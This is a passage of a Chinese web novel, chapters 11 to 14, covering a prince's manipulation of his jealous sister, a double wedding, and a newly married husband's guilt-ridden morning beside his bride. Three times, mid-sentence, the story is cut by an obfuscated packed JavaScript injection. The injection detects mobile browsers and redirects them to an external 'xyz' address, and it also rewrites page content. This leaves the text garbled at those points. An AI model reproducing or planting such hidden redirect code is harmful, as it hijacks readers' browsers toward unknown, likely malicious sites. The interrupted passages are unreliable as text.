一想到顾泽那张清俊的脸,和他出手相救时那挺拔的身影,幼宁的心就跟揣了只小兔子似的,怦怦直跳。 她真是太开心了! 父皇果然最疼她了! 她只是在父皇面前哭闹撒娇了一番,说自己非顾泽不嫁,父皇就真的收回了前旨,把顾泽赐给了她! “果然你说的名错,这世界上真的有英雄救美。”幼宁公主喜滋滋地在眼角点上一抹胭脂。 春桃轻轻万福:“公主您还说呢,奴婢们当初要去救您,您还死活不让,顾公子但凡晚一步奴婢们就直接动手了。” 幼宁公主得意的皱皱鼻子,要不是她死活不许春桃他们动手,哪里能遇到风光霁月的顾泽。 至于那个什么薛家小姐,被改嫁给了顾泽那个废物弟弟,关她什么事? 她现在满心满眼,都是自己即将嫁给心上人的喜悦。 就在这时,一个小太监在门口通传:“公主殿下,五王爷前来探望。” “五皇兄?”幼宁愣了一下,随即高兴地站起来,“快请他进来!” 五王爷赵勋是所有皇兄里,与她关系最好的一个。他总是温文尔雅,对她这个小皇妹也格外疼爱。 很快,一个身穿暗紫色王袍,面容儒雅的青年男子,缓步走了进来。 他正是当朝五王爷——赵勋。 赵勋脸上带着温和的笑意:“幼宁。” “五皇兄!”幼宁亲自上前拉着他坐下,叽叽喳喳地分享自己的喜悦,“皇兄,你都听说了吧?父皇把顾探花赐给我了!我马上就要嫁给他了!” “听说了。”赵勋笑着点头,眼中却闪过一丝不易察觉的精光,“今日来,就是特地恭喜皇妹,终于觅得如意郎君。” “嘻嘻,还是皇兄对我好!”幼宁开心得像个孩子。 赵勋端起宫女奉上的茶,轻轻抿了一口,状似无意地问道:“说起来,这顾家也真是奇特。两兄弟同日娶亲,兄长尚公主,弟弟……却娶了个商女。这日后,妯娌之间,怕是不好相处啊。” “有什么不好相处的?”幼宁不以为意地撇撇嘴,“她一个商贾之女,见了我这个正牌公主,还不得乖乖地跪下请安?我还能让她欺负了不成?” “皇妹此言差矣。”赵勋放下茶杯,语重心长地说道,“这个薛楚楚,可不是寻常的商女。臣弟听说,她年纪轻轻,就已经将薛家那庞大的产业打理得井井有条,手腕和心计,比许多男人还厉害。” “那又如何?”幼宁还是不服气。 赵勋笑了笑,声音压得更低了,像是在分享什么秘密:“皇妹你想想,她本是父皇亲赐给顾探花的准夫人,如今却被‘退货’,改嫁给了顾家那个不成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495982|185945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 器的废物弟弟。你觉得,她心里会甘心吗?” 幼宁愣住了。 她光顾着自己开心,还真没想过这个问题。 “她……她不甘心又能怎样?这是圣旨!” “圣旨是圣旨,人心是人心啊。”赵勋叹了口气,继续用他那温和又极具蛊惑性的声音说道,“臣弟可是听说,这位薛小姐,对顾探花……也是仰慕已久。如今虽嫁给了顾湘,可她与顾探花,日后抬头不见低头见,都住在同一屋檐下……” 他没有把话说完,但那未尽之意,却像一根毒刺,狠狠地扎进了幼宁的心里。 是啊。 薛楚楚和顾泽,本是一对。 现在虽然被拆散了,可他们以后就是叔嫂关系,天天都能见面。 而顾泽……他心里,到底是怎么想的? 他对自己,真的是心甘情愿的吗?还是因为皇命难违,才不得不娶了自己? 如果他心里还惦念着那个薛楚楚…… 一想到这种可能,幼宁脸上的笑容瞬间消失了,取而代之的,是一股强烈的不安和嫉妒。 “不……不会的!”她喃喃自语,像是在说服自己,“顾泽他是我的!他救了我,他心里一定是有我的!” “皇妹,你太天真了。”赵勋摇了摇头,脸上露出“我都是为你好”的痛心表情,“男人心,海底针。更何况,顾探花那样的天之骄子,心里想的是建功立业。如今因为娶了你,仕途尽毁,他嘴上不说,心里能没有怨气?这时候,若是那个既懂他、又能在他事业上提供巨大帮助的‘前未婚妻’薛楚楚,时常在他面前出现,嘘寒问暖……” “够了!别说了!”幼宁猛地站起来,小脸煞白。 赵勋的每一句话,都像一把刀子,精准地捅在她最害怕、最没有安全感的地方。 她最怕的,就是顾泽不爱她。 “皇兄,那我……我该怎么办?”幼宁慌了,她现在已经完全被赵勋牵着鼻子走了。 赵勋看着她六神无主的样子,眼底的笑意一闪而过。 他要的就是这个效果。 “皇妹别急。”他站起身,拍了拍她的肩膀,温声安抚道,“为兄也是说的最坏的可能,皇妹品格贵重,又得父皇宠爱,那顾泽眼睛不瞎就该知道怎么选。我这也是让你有个警醒,毕竟顾泽可能没心思,但是那商女可未必。 为今之计,你得先下手为强,牢牢抓住顾探花的心。绝不能让那个薛楚楚,有任何可乘之机!” “怎么抓?” “你要让他知道,你才是他的妻子,是能与他共度一生的人。至于那个薛楚楚……”赵勋的眼神冷了半分:“她既然嫁给了顾湘那个废物,就该有做弟媳的本分。若是她不安分,你身为长嫂,又是公主,想敲打她一下,还不是轻而易举?” 赵勋的话,像一颗种子,在幼宁的心里迅速生根发芽。 对! 她是公主!她是长嫂! 那个薛楚楚算什么东西? 她绝不能让薛楚楚把顾泽从她身边抢走!绝不! 看着幼宁那双重新燃起“斗志”的眼睛,赵勋满意地笑了。 他可没有挑拨,他只是说了一种可能而已,就能让顾家后院起火,不得安宁。 顾家越乱,就越有利。 螳螂捕蝉,黄雀在后。 12. 第 12 章 只因为皇帝儿戏般的两道旨意,不但撕裂了宁远侯府表面上的平静,也让整个府邸在一夜之间陷入了一种诡异的、带着血腥味的忙碌。 两兄弟同日娶亲。 一个,是金尊玉贵的当朝公主,未来的侯府大少夫人。 另一个,则是全京城都等着看笑话的、从兄长手中“抢”来的商贾之女。 侯府上下,红色的绸缎与喜庆的灯笼铺天盖地,却丝毫驱散不了那股浓稠得几乎令人窒息的压抑与尴尬。空气中仿佛凝固着无形的冰渣,下人们走路都如履薄冰,踮着脚尖,生怕一个不慎,便触怒了哪位主子心头郁结的霉头。 顾渊将自己锁在书房,门扉紧闭,已是第三日滴水未进。顾夫人则病榻缠绵,汤药碗从未离手,眼底是掩不住的愁云惨雾。 顾泽,那个曾是京城探花郎的翩翩君子,如今把自己关在院子里,日夜不休地弹琴舞剑。琴声萧瑟如泣,剑气森然若霜,他整个人散发着一股生人勿近的颓废与决绝。 而这场风波的漩涡中心,顾湘,却像被全世界遗忘的弃子,无人问津、无人理会。他一个人孤零零地待在自己的院子里,时而对着空气傻笑,时而又长吁短叹,那极度不稳定的精神状态,让人望而生畏又心生恻隐。 终于,大婚之日,如期而至,如同一把悬在头顶的刚刀终于轰然落下。 天光未亮,顾湘便被小厮长顺从床上生生拖起,任由那些喜娘们像摆弄一个木偶般,为他穿上那身刺眼的大红色喜服。铜镜里,映出他面色苍白、眼神飘忽的自己,陌生得可笑又可悲。 他要成亲了。 要和他心心念念了三年的姑娘成亲了。 可胸腔里涌动的,没有丝毫喜悦,只有一种即将被推上刑场的恐慌和窒息,几乎要将他整个人撕裂。 吉时一到,两支迎亲队伍,从顾侯府门前同时出发。 顾泽的队伍,打头阵。皇家仪仗,十六抬大轿浩浩荡荡,金锣开道风光无限,引得半个京城的百姓倾巢而出,争相围观,赞叹声不绝于耳。 而顾湘的队伍,紧随其后,却寒酸得仿佛是前一支队伍的陪衬。虽说薛家富可敌国,嫁妆十里红妆,光是抬嫁妆的队伍就绵延数条街,但新郎官是个声名狼藉的纨绔,这桩婚事又处处透着荒唐与强取豪夺,终究是让人茶余饭后的笑柄。 顾湘骑在马上,每一步都像踩在刀尖上。他能清晰地感觉到,四面八方投来的,那些毫不掩饰的嘲笑、鄙夷,甚至是指指点点。 “快看,那就是顾家那个废物二公子!”尖锐的议论声如刀。 “啧啧,真是癞蛤蟆吃上天鹅肉了,薛家小姐那么好的人,怎么就嫁给他了?”轻蔑的语气,像啐在他脸上。 “还不是他自己闹的?从他哥手里抢来的,真不要脸!”恶毒的揣测,让他脊背发凉。 “我听说薛家小姐一哭二闹三上吊,根本就不想嫁呢!”无情的流言,如万箭穿心。 那些议论声,像针一样扎在他的心上,密密麻麻鲜血淋漓。他死死地攥着缰绳,指节发白上面的青筋暴起,脸上却还要强撑着一丝,不,是努力挤出一点笑意。 他不能给楚楚丢人。 虽然,他本身,就是她最大的“丢人”。 顾湘强撑着那抹僵硬的笑,心如擂鼓般狂跳,一路颠簸,终于抵达薛府门前。朱漆大门,红绸高挂,比顾侯府的布置更显奢华热闹。然而,门前堵得水泄不通的人群,却让他心头那股不安愈发浓烈。 他翻身下马,抬眼望去,只见薛府大门紧闭,只有一道娇俏的身影立在门槛内侧,正是薛楚楚的贴身侍女青禾。青禾双手叉腰,眉眼带笑,却透着一股“我家小姐不好惹”的傲气。 “顾二公子,想娶我家小姐,可没那么容易!”青禾脆生生地喊道,声音不大,却清晰地传遍了四周,引得围观百姓一阵哄笑。 顾湘心下一沉,知道这便是“催妆”的环节了。他深吸一口气,努力平复内心的慌乱,上前一步,拱手道:“青禾姑娘,还请通融,莫要耽误了吉时。” 青禾哼了一声,下巴微抬:“吉时未到,小姐自是不能出门。除非……顾二公子能作一首催妆诗,将我家小姐夸得心花怒放,主动出来。” 此言一出,四下皆惊。催妆诗本是古礼,但如今京城世家大族多是敷衍了事,谁能想到薛府竟真要为难顾湘?顾湘更是如遭雷击,他何曾作过诗?平日里舞刀弄枪、斗鸡走狗尚可,这诗词歌赋,简直是要了他的命!他抓耳挠腮,急得额头冒汗,脑中一片空白,那些嘲讽的目光和窃窃私语又如潮水般涌来。 “顾家二公子不是个草包吗?这下可有好戏看了!” “薛小姐真是刁钻,这分明是给他难堪!” 顾湘耳边嗡嗡作响,就在他几乎要放弃时,脑中忽然灵光一闪——临行前,母亲那张苍白的脸,以及偷偷塞入他袖中的那张纸条!当时他只觉得母亲多此一举,如今看来却是救命稻草! 他颤抖着手,从袖中摸出那张叠得整整齐齐的纸条,小心翼翼地展开。纸上笔迹飞白清俊,是他母亲的字迹,赫然是一首催妆诗! 顾湘定睛一看,心头狂喜,他深吸一口气,将纸条悄悄藏入掌心,抬头挺胸,对着紧闭的薛府大门,高声吟诵道: “一床两好世间无,好女如何得好夫。 高捲珠帘明点烛,试教菩萨看麻胡。①” 诗句一出,全场皆寂。这诗词虽非惊世之作,却也字字珠玑,将新娘的娇羞与美丽描绘得淋漓尽致,更点明了“三载相思”的深情,巧妙地回应了坊间流言,又暗合了顾湘的心意。 青禾先是一愣,继而眼中闪过一丝狡黠的笑意。她朝门内看了一眼,仿佛得到了某种指示,随即掩嘴轻笑:“顾二公子倒是有心了!只是这诗……可是顾二公子亲手所作?” 她这哪是疑问,分明是带着几分看穿的调侃。 顾湘的脸腾地红了,但他很快镇定下来,挺直了腰板:“情之所至,自然有感而发!青禾姑娘,我家楚楚可在等着呢!”他故意把“楚楚”二字咬得极重,带着几分平日里的不正经,却又透着不容置疑的宠溺。 话音刚落,只听“吱呀”一声,薛府大门缓缓开启。一个身着凤冠霞帔的绝美女子,在喜娘的搀扶下,盈盈走出。正是薛楚楚!她面遮团扇看不清表情,但那露出的下巴线条,却带着一丝若有似无的笑意。 青禾得意地朝顾湘眨了眨眼,仿佛在说:算你过关! 顾湘看着那抹鲜艳的红,心头所有的屈辱、恐慌、紧张瞬间消散,取而代之的是一种失而复得的巨大喜悦和满足。他伸出手,仿佛要抓住这三年来的所有期盼。 薛楚楚缓缓来到他面前,那团扇后的目光仿佛穿透一切,直直地落在他身上。尽管四周依旧议论纷纷,但此刻,顾湘眼中只有她。他知道,这一刻,所有的流言蜚语、所有的不屑嘲讽,都变得无关紧要。他终于,将他的楚楚,迎回了家。 好不容易,将花轿迎回了侯府。 拜堂的时候,顾湘的脑子都是一片空白,嗡嗡作响。他机械地跟着司令的口令,一拜天地,二拜高堂。当他看到主位上,父亲那张黑如锅底、写满愤恨的脸,和母亲强撑着病体,满眼泪水与绝望的样子时,他的心又被狠狠地揪了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495983|185945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下,痛得无法呼吸。 夫妻对拜的时候,他终于鼓起勇气,抬眼看了看对面那个盖着红盖头、身形纤弱的女孩。 他的新娘,他的……楚楚。 隔着那柄红色的团扇,他仿佛能看到她那张清丽的脸,和那双总是带着几分清冷的眼睛。她现在,在想什么?是不是也觉得,眼前这一切,荒唐又可悲?她的心里,是否全是恨? 礼成,送入洞房。 顾湘被他那群“狐朋狗友”围住,推搡着往酒席上走,嘈杂声震耳欲聋。 “顾二,行啊你!真人不露相啊!居然把探花郎的媳妇给抢到手了!”曾六六勾着他的脖子,大声嚷嚷,语气里满是赤裸裸的调侃与幸灾乐祸。 “就是!快说,你到底使了什么招?教教哥几个!”吴思捷也跟着起哄,眼中闪烁着八卦的光芒。 顾湘没有说话,只是拿起酒壶,给自己满满地倒了一杯酒,然后仰头,一饮而尽。辛辣的液体灼烧着喉咙,却无法熄灭他心头的火焰。 他需要酒。他需要用酒来麻痹自己,来压下心头那股快要将他吞噬的愧疚和恐慌。他怕。他怕等会儿进了洞房,看到薛楚楚那双失望、憎恨,或是带着厌恶的眼睛。 他不敢面对。 “喝!今天不醉不归!”顾湘红着眼睛,大声吼道,声音里带着一丝绝望的嘶哑。他一杯接着一杯地灌着自己,仿佛喝的不是酒,是能让他解脱的毒药,是能让他忘却一切的孟婆汤。 周围的喧闹声,渐渐远去,模糊成一片嗡鸣。他好像看到了大哥顾泽,也端着酒杯,一个人孤零零地坐在角落里,神情落寞,眼中是化不开的苦涩。他也看到了,新上任的“大嫂”幼宁公主,正端着酒杯,一脸娇羞地跟在顾泽身后,想讨他欢心,却被他无视得彻底。 真可笑。 他们四个人,两对新人,没有一对是幸福的,全都陷在泥沼里,挣扎着,痛苦着。顾湘自嘲地笑了笑,又是一杯酒下肚,烈酒烧穿了他的胃,也烧穿了他的心。 他喝得太多了,胃里翻江倒海,头晕得厉害,整个世界都在旋转。他推开身边的人,踉踉跄跄地站起来,跌跌撞撞地想出去透口气。 他没有回自己的新房,而是鬼使神差地,走到了薛楚楚那顶还停在院子里的花轿前。那顶红色的花轿,像一个巨大的嘲讽,静静地立在夜色中。 他扶着轿子,冰冷的轿壁透过掌心,直达心底。隔着厚厚的轿帘,他仿佛能闻到里面残留的、属于她的淡淡馨香,那是一种让他眷恋,又让他痛苦的味道。 “楚楚……”他低声呢喃,声音里带着浓浓的醉意和无尽的苦涩,喉咙沙哑。 “对不起……” “我不是故意的……我只是……太喜欢你了……” 眼泪终于不争气地掉了下来,混着酒气,混着月光,消失在寂静的夜色里。 他不知道自己站了多久,直到长顺找到他,把他半拖半扶地送回了新房。 一进门,那浓烈的酒气就熏得喜娘和丫鬟们直皱眉,纷纷掩鼻。 “哎哟,二少爷怎么喝成这样……”喜娘的抱怨声带着一丝嫌弃。 “快,快扶到床上去。”丫鬟们手忙脚乱。 顾湘被重重地扔在床上,他感觉天旋地转,胃里一阵翻腾,然后,就彻底失去了意识。 在他昏睡过去之前,他脑子里最后一个念头是: 今晚,就让他醉死过去吧。 这样,他就不用面对她了。 这样,他就不用看到她失望、厌恶的眼神了。 ——因为,那是他无论如何也无法承受的。 13. 第 13 章 第二天清晨。 宿醉的头痛,像是有人拿着一把锤子在顾湘的脑袋上反复敲打,每一下都让他眼前一阵阵发黑。他难受地呻吟一声,眼皮沉得像灌了铅,怎么也睁不开。 空气中,弥漫着淡淡的、好闻的馨香。那不是他院子里那些花花草草的香气,而是一种清雅的、如同雪后梅林般的冷香。那香气丝丝缕缕,缠绕着他混沌的意识,带着一丝让他心脏骤然收紧的熟悉。 这味道…… 顾湘的意识,在剧烈的痛楚中挣扎着,昨晚那些混乱的、破碎的片段,如同潮水般猛烈地冲击着他的脑海。 大红的喜服、喧闹的酒席,父亲愤怒到扭曲的脸。还有,他趴在花轿上无声的哭泣…… 他成亲了。 对了,他成亲了! 娶了他心心念念的……楚楚! 这个念头,像一道电流猛地击中了他,所有的疼痛、眩晕,在这一刻都被无形的巨力撕裂,取而代之的是铺天盖地的狂喜! 顾湘的眼睛,豁然睁开! 入眼的是喜庆的红色床幔顶,金丝绣成的缠枝莲纹在晨光中熠熠生辉,精致得不似凡品。 他猛地坐起身,宿醉带来的眩晕感让他晃了一下,眼前白光一闪,喉间涌上一股钝钝的铁锈味。他连忙用手撑住床,指尖死死抠住冰冷的床沿,才勉强稳住身形。 环顾四周。 这是一间布置得极为雅致的房间,处处透着喜庆的红色,却不见半分俗气。紫檀木的雕花大床,梨花木的梳妆台,天晴窑的摆件……无一不精,无一不显露出主人的高雅品味。 这些是楚楚的嫁妆,他用眼睛描绘了三日却不敢摸一摸的嫁妆,顾湘小心翼翼的扯动帘幔,上面的百子千孙图跟着呲着大牙笑话他的胆怯。 顾湘的理智缓缓回笼,这个院子是官家赐婚后,宁远侯夫人和顾渊据理力争得来的。理由是顾泽和顾湘的住所相比太过离谱,不仅没有顾泽院子的一半大,房间更是小得逼仄。 按照顾夫人的话:“你以前不许我儿换院子也就罢了,顾泽十岁就入住了三间正房的大院,偏偏我儿临娶亲还要住在那偏僻小院,这可是皇家赐婚,怎么都说不过去!” 听到赐婚二字,顾渊无奈的败下阵,只能任由顾夫人将顾湘的院子跟这里连在一起重新修缮出来的,也是因此这里虽是新房,陈列却更接近于它原本的用途——水榭。 不是梦。 顾湘的心瞬间提到了嗓子眼,几乎要冲破胸腔。 他僵硬地、一点一点地转过头,看向床的里侧。 那里,躺着一个人。 一个身穿红色寝衣的女子,正背对着他,安静地沉睡着。乌黑如瀑的长发,铺散在绣着鸳鸯戏水的锦被上,衬得她那截露在外面的脖颈莹白如玉,纤细得仿佛一折就断。 顾湘的呼吸,在这一刻,彻底停滞了。 是他昨晚,喝得太醉,被送回了新房?那……那躺在这里的,就是…… 一个让他既期待又恐惧的答案,呼之欲出。 他的心脏,开始不受控制地狂跳起来,一声比一声重,敲得他耳膜嗡嗡作响。他感觉自己的手脚都在发麻,喉咙干得像是要冒火。 他想。 想确认一下。 他颤抖着伸出手,想要轻轻地、轻轻地碰一下那个沉睡的女子,把她叫醒。 就在接触到那恍若蝴蝶般身形的刹那,顾湘的手指顿住,猛地缩回紧攥成拳。 顾湘垂下头,不敢再看周围,左手用力捏紧颤抖的右手腕,一圈淡淡的青色瞬间充盈在他的腕间。他深吸一口气,又缓缓吐出,努力平复着自己那颗快要跳出胸膛的心。 他怕,他怕一看到她睁开眼,那份不真实的美好就会像泡沫一样破碎。他怕她眼底会流露出厌恶,会让他一腔热血瞬间冰凉。 床榻里侧,薛楚楚紧闭的眼睫轻轻颤动了一下,没想到对方竟然克制到如此,倒是出乎她的意料之外。 她其实早就醒了。 从顾湘发出的第一声痛呼开始,从他挣扎着坐起身,到那一声声急促到近乎炸裂胸膛的呼吸,她都听得一清二楚。 她能感觉到他炙热的视线落在自己身上,能感觉到他伸出的手在自己颈后悬停。她的心,也跟着他那不规律的跳动,一下一下地收紧。 她想起昨夜。 酒席散后,顾湘被几个小厮连拖带拽地送进了新房。他醉得不省人事,却死死拉着她的手,不肯松开。 他趴在她的膝头,带着浓重的酒气和鼻音,沙哑地一遍遍呢喃:“楚楚……楚楚,对不起……,对不起,我不是故意的。我没想过……癞蛤蟆吃天鹅肉,我只是……只是想能有一缕月光洒在我身上,我就千恩万谢了。我哪里敢、敢妄想得到月亮……” 他的眼角泛着不自然的红,泪水和着汗水,打湿了她的裙摆。 她看着他,看着这个平日里玩世不恭、浪荡不羁的纨绔子弟,此刻却像一个受尽委屈的孩子。 她伸出手,轻轻拍了拍他的背。 顾湘似乎感受到了她的回应,猛地抬起头,那双桃花眼里一片水光,他沙哑着嗓子,小心翼翼地问,带着刻骨的卑微和恐惧:“楚楚……你嫁给我……恨我吗?” 她当时是如何回答的呢? 此刻,她感受着他小心翼翼地掀开被子下床,感受着他绕过床尾,一步一步飘忽地走到了床榻另一边的屏风处。 每一步,都像是踩在她心尖上,让她几乎要维持不住沉睡的假象。 终于,他站定了。 她能感觉到,他炙热的目光,正落在她的脸上。 顾湘看到了那张他曾在梦里描摹过千百遍的脸。 女子睡得很沉,纤长的睫毛在眼下投下一片安静的剪影,平日里总是带着几分清冷的菱唇,此刻微微放松显出几分柔和的弧度。清晨的阳光透过喜字雕花床上的霞影纱,又穿过十二扇满床笏屏风柔和地洒在她脸上,为她那张清丽绝俗的脸,镀上了一层温暖的光晕。 美得……不似凡人。 是她。 真的是她。 薛楚楚。 他的妻子。 这一刻,顾湘那双往日里总是带着几分慵懒散漫的桃花眼,第一次,充满了不可置信的、剧烈的光芒。他死死地盯着那张睡颜,眼睛一眨都不敢眨,生怕这只是他宿醉未醒的一场幻梦。 他伸出手,指尖颤抖着,想要去触碰一下她的脸颊,去感受一下她的温度。 可是,他的手在距离她脸颊只有一寸的地方,又猛地停住了。 他不敢,怕惊扰了她,更怕……玷污了她。 巨大的、难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495984|185945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以言喻的狂喜,如同最烈的酒,瞬间冲上了他的头顶,让他整个人都晕陶陶的,仿佛下一秒就要醉倒在这不真实的幸福里。 他得到了她,她是他的了。 这个认知,让他浑身的血液都在沸腾,每一个毛孔都在叫嚣着喜悦! 想抱着她,把她揉进自己的骨血里,从此再也不分开。他那颗沉寂了二十年的心,在这一刻,终于为了一个人彻底活了过来。 顾湘就那么痴痴地看着,傻傻地笑着。 他就这么站在床边,像个傻子一样,看了整整一炷香的时间。他想把她的样子,她睡觉时每一个细微的表情,都牢牢地刻进自己的脑子里,刻进自己的骨血里。 顾湘是薛楚楚的夫君,以后此生此世他们的名讳将会被连在一处。这个念头,每一次在心里响起,都让他控制不住地想要咧嘴傻笑。 他的人生,从一片灰暗的、看不到尽头的荒原,突然变成了一座繁花似锦的、鸟语花香的庭院。 而她,就是这座庭院里,唯一的那束光。 然而,当最初那股狂喜的热浪,稍微退去了一些之后,另一种更加冰冷、更加沉重的情绪,便如同退潮后裸露出的黑色礁石,一点一点地浮上了心头。 愧疚。 顾湘的目光,从薛楚楚那张安然静美的睡颜缓缓下移,落在了她放在被子外面的那只手上。 那是一双很美的手,十指纤纤,白皙如玉。他见过她拨打算盘的利落,也见过她指点江山的睥睨,也曾见过她指尖的锦绣文章,在他心中幼宁公主比不上薛楚楚的一根手指。 她本该嫁给一个能与她并肩而立的男人。比如他大哥顾泽,新科探花,前途无量,文采风流。再不济,也该是别的什么王孙公子、青年才俊。他们会懂得欣赏她的才华,会为她提供更广阔的平台,会让她成为全京城最令人艳羡的女子。 而不是……他。 顾湘。 一个只会斗鸡走狗、惹是生非的废物,一个连秀才都考不上的纨绔。 一个需要用最卑劣、最疯狂的手段,才能从兄长手里“抢”来自己心爱之人的小人。 他配不上她。 这个认知,像一把淬了毒的匕首,狠狠地捅进了他刚刚还充满喜悦的心脏,然后用力的、残忍的搅动。他那张因为狂喜而泛起红晕的俊美脸庞,此刻一点点地褪去了血色,写满了痛苦和自我厌弃。 他的幸福,是建立在她的“不幸”之上的。他用尽手段,终于得到了他梦寐以求的月亮,却是以把月亮从清冷高洁的夜空,拖入这肮脏不堪的泥潭为代价。 人们会说,看,那就是薛楚楚,曾经多风光的一个人,现在还不是嫁给了一个废物。 一想到这些,顾湘的心就痛得像是要被撕裂开来。 他凭什么让她承受这些? 他能给她的,只有羞辱和拖累。 痛苦地闭上了眼睛,顾湘不敢再看那张美好的睡颜。他怕自己再看下去,会忍不住做出什么伤害自己的事情来。 他缓缓地蹲下身,将头埋在膝盖里,像一头受伤后独自舔舐伤口的幼兽,肩膀小幅度地颤抖。 巨大的狂喜和同样巨大的愧疚,这两种极端的情绪,在他的身体里疯狂地冲撞、撕扯,几乎要将顾湘整个人都撕成两半。 他该怎么办? 14. 第 14 章 顾湘整个人还沉浸在无尽蔓延的痛苦情绪中时,那张喜榻上,陡然传来一丝轻微的响动。 他如坠冰窟,心跳骤停。 薛楚楚纤长的睫毛,像振翅欲飞的蝶翼轻轻颤动了两下,旋即,那双清澈的眼眸缓缓睁开。 她醒了。 “咯噔”一声,顾湘的心脏像是从万丈高空坠落,又猛地被一只无形的手狠狠拽到了嗓子眼。 他的身体瞬间僵硬的不成样子,保持着蹲在地上的姿势,傻傻地仰着头。那双本该风流多情的桃花眼里,此刻只剩下被抓包的惊慌与无措,活脱脱像只偷吃后被主人发现的大型犬只。 完了!彻底完了! “你醒了!你怎么就醒了?” 话一出口,顾湘就觉得不对,可是此刻他不过脑子的话已经出口,每一个字都蠢得让他恨不得立刻死去。 他可怜兮兮地盯着薛楚楚,发现她并未立刻出声,眼中还带着一丝初醒的迷茫与疲惫,显然尚未完全适应这陌生又刺眼的喜房。 那片刻的宁静,对顾湘来说,却像是一场极致的凌迟。他甚至能清晰地听到自己胸腔里那“咚咚咚”的擂鼓声,快得像是要从喉咙里蹦出来。他感到一阵眩晕,胃里翻江倒海,此刻如潮水般席卷而来,将他彻底淹没。 终于,薛楚楚的目光,缓缓地转动。 下一瞬,她那双清澈如水的眼眸,便准确无误地落在了蹲在床边,正一脸惊恐、狼狈不堪地看着她的顾湘身上。 四目相对。 空气,完全被凝固住。 薛楚楚的眼神在看到顾湘的那一刻,那丝隐约的迷蒙瞬间褪去,变得清明而冷静。她没有尖叫,没有惊慌,甚至没有一丝一毫的意外。她只是那么平静地看着他,那双眼眸深不见底,像一汪被寒冰覆盖的古潭,不起半点波澜。 可就是这种极致的平静,这种与喜房格格不入的清冷,让顾湘更加慌乱。他宁愿她打他、骂他,或者哭闹,都好过现在这样。 她越是平静,越是无波无澜,就越说明她心里可能已经失望透顶,甚至连对他发怒的力气都懒得施舍。他发现,她看他的眼神里,没有恨,没有怨,这比任何指责都更让他无地自容。 “你…我…”顾湘的喉结艰难地滚动了一下,想说点什么,却发现自己的嗓子干涩得厉害,一个字都吐不出来。他手忙脚乱地从地上爬起来,因为动作太急,膝盖重重地撞到了床沿,疼得他“嘶”地倒吸了一口凉气。 “你……你醒了?”他终于挤出了几个字,声音嘶哑,带着显而易见的局促。 薛楚楚没有回答他,只是缓缓地从床上坐了起来。大红的寝衣,衬得她肌肤胜雪,一头乌发如瀑般倾泻而下,那份清冷的气质与这满室的喜庆格格不入,却又构成了一种惊心动魄的美,让顾湘的心脏又是一阵失序。 她拢了拢微乱的衣衫,目光在房间里扫视了一圈,最后,再次落在了顾湘的身上。 “水。”她吐出了一个字,声音清清冷冷,带着刚睡醒的沙哑,却意外地好听,如同山泉击石,泠泠作响。 “啊?哦!水!水!”顾湘像是接到了圣旨,立刻转身,随即一个踉跄,差点趴在地上。他跌跌撞撞地跑到桌边,拿起茶壶,手抖得厉害,倒了半天,茶水洒了一半在外面。他手忙脚乱地用袖子擦掉桌上的水渍,然后端着那杯只剩一半的茶,小心翼翼地走了回来,像是在捧着什么绝世珍宝。 “给。”顾湘把茶杯递过去,头低着,不敢看她的眼睛。 薛楚楚伸出手,接过了茶杯。她的指尖,不经意地,触碰到了他的。凉凉的,软软的,带着一种玉石般的质感。顾湘像是被电了一下,猛地缩回了手,心跳又漏了一拍,脸颊不由自主地泛起一阵热意。 薛楚楚小口地喝着水,姿态优雅又从容不迫,仿佛她不是在一个刚刚“错嫁”的陌生新房里,而是在自家的后花园里品茶。这份从容和淡定,让顾湘越发地自惭形秽。他站在原地,手都不知道该往哪里放,像个等待主人发落的仆人,又像个做错事的孩子,浑身不自在。 喝完水,薛楚楚将茶杯递还给他,她的目光再次落在顾湘身上,带着一丝审视。 “你喝醉了。”她陈述着一个事实,语气里听不出任何情绪,却让顾湘觉得无地自容。 “嗯……嗯!”顾湘连忙点头,像小鸡啄米,“对不起,我……我不是故意的,我……”他想解释,想忏悔,可喉咙里却像堵了一团棉花,千言万语,最终都化作了苍白无力的“对不起”。说他心里难受?说他愧疚?这些话说出来,会不会更让她觉得自己可笑?他甚至不敢说出“爱你”二字,因为那此刻听起来,只会显得更加讽刺。 “无妨。”薛楚楚淡淡地打断了他,声音里听不出喜怒,却带着一股不容置疑的决断:“时辰不早了,该去给长辈敬茶了。”她说着,便准备下床。 顾湘一愣,脑子一片空白。 敬茶? 就这么……完了? 她不骂他吗?不质问他吗?她就这么轻易地接受了嫁给他这个事实?这和他想象的,完全不一样!他甚至做好了被她泼茶、被她怒骂的准备,可她此刻的反应,却比任何愤怒都更让他心惊胆战。 